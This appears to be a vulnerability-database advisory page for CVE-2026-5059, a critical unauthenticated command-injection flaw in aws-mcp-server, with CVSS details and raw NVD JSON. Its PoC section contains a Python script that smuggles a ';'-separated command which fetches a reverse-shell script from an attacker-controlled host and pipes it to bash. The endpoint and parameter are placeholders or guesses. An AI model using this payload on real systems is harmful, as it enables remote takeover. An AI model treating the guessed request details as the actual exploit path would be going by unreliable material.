Security Vulnerability Report
中文
CVE-2026-5059 CVSS 9.8 CRITICAL

CVE-2026-5059

Published: 2026-04-11 01:16:18
Last Modified: 2026-04-13 15:01:44

Description

aws-mcp-server AWS CLI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27969.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

aws-mcp-server (具体受影响版本未在描述中明确列出,建议查阅官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-5059 # This script demonstrates a potential command injection payload. import requests def exploit(target_ip): # The vulnerability occurs in the handling of the allowed commands list # We inject a shell command separator ';' to run arbitrary code. malicious_payload = { "allowed_commands": "ls; /bin/bash -c 'curl http://attacker-controlled-server/rev_shell | bash'", "other_params": "value" } url = f"http://{target_ip}:port/api/endpoint" try: print(f"[*] Sending payload to {url}...") response = requests.post(url, json=malicious_payload, timeout=5) print(f"[+] Response status: {response.status_code}") print("[+] Check your listener for a reverse shell connection.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit("192.168.1.100")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5059", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.293", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "aws-mcp-server AWS CLI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27969."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-245/", "source": "[email protected]"}]}}